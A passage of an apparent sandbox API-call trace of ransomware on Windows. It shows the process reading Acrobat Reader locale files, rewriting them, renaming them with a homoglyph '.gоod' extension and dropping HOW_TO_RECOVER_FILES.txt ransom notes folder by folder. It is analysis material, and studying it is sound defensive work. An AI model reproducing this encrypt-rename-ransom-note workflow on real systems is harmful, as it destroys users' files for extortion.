lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0193.229] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0193.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0193.229] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6f63d24a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x750)) returned 1 [0193.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0193.229] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\ui-strings.js.gоod")) returned 1 [0193.230] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0193.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0193.230] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x830 [0193.231] GetFileType (hFile=0x830) returned 0x1 [0193.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0193.231] GetFileType (hFile=0x830) returned 0x1 [0193.232] WriteFile (in: hFile=0x830, lpBuffer=0x35417b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x35417b0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0193.233] CloseHandle (hObject=0x830) returned 1 [0193.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0193.233] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x77 [0193.233] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0193.234] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.234] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0193.234] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0193.234] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0193.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0193.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0193.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0193.234] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x77 [0193.234] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0193.235] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.235] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0193.235] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0193.235] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0193.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0193.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0193.235] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0193.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0193.235] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3551688 | out: lpFileInformation=0x3551688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6fd)) returned 1 [0193.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0193.236] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0193.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0193.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x830 [0193.236] GetFileType (hFile=0x830) returned 0x1 [0193.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0193.236] GetFileType (hFile=0x830) returned 0x1 [0193.236] GetFileSize (in: hFile=0x830, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6fd [0193.236] ReadFile (in: hFile=0x830, lpBuffer=0x3552130, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3552130*, lpNumberOfBytesRead=0x203eb258*=0x6fd, lpOverlapped=0x0) returned 1 [0194.043] CloseHandle (hObject=0x830) returned 1 [0194.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0194.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x830 [0194.070] GetFileType (hFile=0x830) returned 0x1 [0194.070] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0194.070] GetFileType (hFile=0x830) returned 0x1 [0194.070] WriteFile (in: hFile=0x830, lpBuffer=0x36877f8*, nNumberOfBytesToWrite=0x700, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x36877f8*, lpNumberOfBytesWritten=0x203eb168*=0x700, lpOverlapped=0x0) returned 1 [0194.071] CloseHandle (hObject=0x830) returned 1 [0194.071] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.071] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0194.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0194.071] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6fe2b37d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x700)) returned 1 [0194.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0194.071] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0194.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0194.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0194.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0194.121] GetFileType (hFile=0x824) returned 0x1 [0194.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0194.121] GetFileType (hFile=0x824) returned 0x1 [0194.122] WriteFile (in: hFile=0x824, lpBuffer=0x34f33d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x34f33d8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0194.123] CloseHandle (hObject=0x824) returned 1 [0194.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0194.123] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de", lpFilePart=0x0) returned 0x77 [0194.123] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.125] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.125] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.126] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0194.126] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0194.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0194.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0194.126] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de", lpFilePart=0x0) returned 0x77 [0194.126] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.126] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.126] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.127] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x792, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0194.127] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0194.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0194.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0194.127] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x350a5d8 | out: lpFileInformation=0x350a5d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 